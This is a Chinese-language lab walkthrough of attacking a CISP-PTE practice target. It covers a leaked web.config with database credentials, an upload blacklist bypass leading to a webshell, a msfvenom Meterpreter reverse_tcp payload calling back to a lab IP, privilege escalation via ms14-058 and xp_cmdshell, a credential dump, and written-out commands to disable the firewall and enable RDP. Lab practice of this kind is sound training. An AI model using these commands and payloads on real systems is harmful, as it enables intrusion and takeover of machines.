靶机网盘链接:
https://pan.baidu.com/s/1nFjLuz7Z5b01u0Z6xxYveA?pwd=r74y 提取码: r74y
开机密码:admin123
需要修改里面的网络配置信息,因为靶机里面写死了ip
地址,按照测评的时候只有一台win7
操作机的情况来看,本次靶机打靶需要记住的命令:
关闭防火墙:netsh firewall set opmode mode="disable" 开启3389:wmic rdtoggle where servername="%computername%" call setallowtsconnections 1 mssql执行命令:exec xp_cmdshell "whoami"
1. 场景部署
直接vm
打开,登录密码:admin123
2. 打靶
2.1 端口扫描
只开放了1433
端口
因为开了防火墙,所以扫起来很费劲,使用mssscan
扫描看下
扫了很久之后才扫到两个端口
2.2 webshell
image.png
尝试爆破下:
没有找到密码,扫一下看看:
下载备份文件看下:
<?xml version="1.0"?> <configuration> <appSettings> <add key="DBConnectionString" value="server=127.0.0.1;database=FileManage;User Id=down;pwd=downsql" /> </appSettings> <system.web> <!-- 设置 compilation debug="true" 将调试符号插入 已编译的页面中。但由于这会 影响性能,因此只在开发过程中将此值 设置为 true。 --> <compilation debug="true"/> <!-- 通过 <authentication> 节可以配置 ASP.NET 使用的 安全身份验证模式, 以标识传入的用户。 --> <authentication mode="Windows"/> <!-- 如果在执行请求的过程中出现未处理的错误, 则通过 <customErrors> 节可以配置相应的处理步骤。具体说来, 开发人员通过该节可以配置 要显示的 html 错误页 以代替错误堆栈跟踪。 <customErrors mode="off" defaultRedirect="GenericErrorPage.htm"> <error statusCode="403" redirect="NoAccess.htm" /> <error statusCode="404" redirect="FileNotFound.htm" /> </customErrors> --> <customErrors mode="Off"/> </system.web> </configuration>
在这里找到了账号密码信息,而且开放了1433
打开,应该可以连接。
在这里连接遇到了很多的问题,最后安装了Microsoft SQL Server Studio
,并且遇到了版本错误,后来才能用:
在这里发现了账号密码信息:
账号:admin
密码:asdadwn_d2112
此时获得第一个key
:
在这里面有上传的aspx
文件,但是点击的时候是直接下载下来的。黑名单限制比较死:
在这里可以发现,系统做了限制,也就是说系统的文件命名是固定的,传上去之后就变成了:
http://192.168.135.29:27689/admin/file_down.aspx?file=638151916352327063-ffffffaaaa.as
所以在这里只需要对文件名再减少两个命名之后再上传:
直接上传成功了 其实在这里忽略了一个问题:
真正的文件在这里,不应该去下载文件的,刚上传文件什么的找错了思路,在这里把那个aspx
文件下载下来,并且能看到里面的密码,在找到该文件的真实位置:
直接连接 就行了:
image.png
翻一翻,找到key2
:
权限很低,在这需要提权,先把权限给msf
。
2.3 msf上线
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.135.15 lport=6666 -f exe --o a.exe
生成马之后,准备上传,在这里设置好监听:
监听:
此时需要提权:
use multi/recon/local_exploit_suggester 来识别当前系统中可用的exp set session 1 run
2.4 提权
这里提权为两种方法,一个是ms14-058
,另外一个就是sa
提权msf
版。
2.4.1 ms14-058
2.4.2 sa提权
用msf
来试试:
2.5 后渗透
Username Domain Password -------- ------ -------- Administrator CISP-PT admin123 CISP-PT$ WORKGROUP (null) IUSR_CISP-PT CISP-PT n1xwqG/PgRg.2c
开启3389
run post/windows/manage/enable_rdp
开不起来,可能要关闭防火墙,在这使用windows的3389试试:
需要手动关闭防火墙,但是目前shell
无法执行,所以暂时卡在这了,用sa
提权的来执行命令:
关闭防火墙:
netsh firewall set opmode disable
再试试3389
:
3. 手工法-使用数据库sa权限来执行查询命令
在这里可以直接执行命令:
在这里使用命令行设置防火墙关闭和3389
开启:
关闭防火墙: netsh firewall set opmode mode="disable" 开启3389: wmic rdtoggle where servername="%computername%" call setallowtsconnections 1
开启3389
成功,在这里虽然没有用户密码,但是可以新建用户登录成功了 还有另外一种方法:
直接在命令行里找key
:
4. 总结
说在真实的cisp-pte
考试中,有的说只有一个win7
,有的说有win7
+kali
,如果没有kali
的话,msf
显得毫无意义,必须要记住一些命令,在最后开启3389
桌面的时候,很多人去记那个非常非常非常非常长的带有英文和数字的注册表命令:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
其实wmic
也可以,甚至来说,如果大概知道最后一个key
的路径,可以使用type
不断得找桌面的key
文件就可以,也不需要3389
上去。